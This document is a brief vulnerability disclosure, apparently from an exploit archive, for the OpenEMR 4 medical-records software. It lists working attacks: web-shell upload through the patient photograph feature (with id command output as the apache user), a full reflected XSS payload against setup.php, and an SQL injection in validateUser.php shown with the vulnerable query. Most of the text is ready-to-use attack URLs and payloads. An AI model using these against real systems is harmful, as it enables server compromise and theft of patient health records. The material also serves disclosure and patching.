OpenEMR 4 – Multiple Vulnerabilities
OpenEMR 4 (Level @ Smash The Stack) Summary: Patient Photograph Arbitrary File Upload Initial Comment: 1. Login with valid User/Pass 2. Patient/Client -> Search/New Patient (search for anything) 3. Click Documents -> Patient Photograph 4. Upload Shell URL: http://www.example.com/openemr/sites/SITENAME/documents/PATIENTID/shell.php.jpg?cmd=id EX: http://www.example.com/oe/sites/default/documents/1/shell.php.jpg?cmd=id Output: uid=48(apache) gid=48(apache) groups=48(apache) first installed SITENAME = default first installed PATIENTID = 1 OpenEMR 4 (Level @ Smash The Stack) XSS http://www.target.com/oe/setup.php?site=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E OpenEMR 4 (Level @ Smash The Stack) Summary: validateUser.php SQL Injection Initial Comment: http://www.target.com/oe/interface/login/validateUser.php?u=test' validateUser.php: $user = $_GET['u']; $authDB = sqlQuery("select password,length(password) as passlength from users where username = '$user'"); |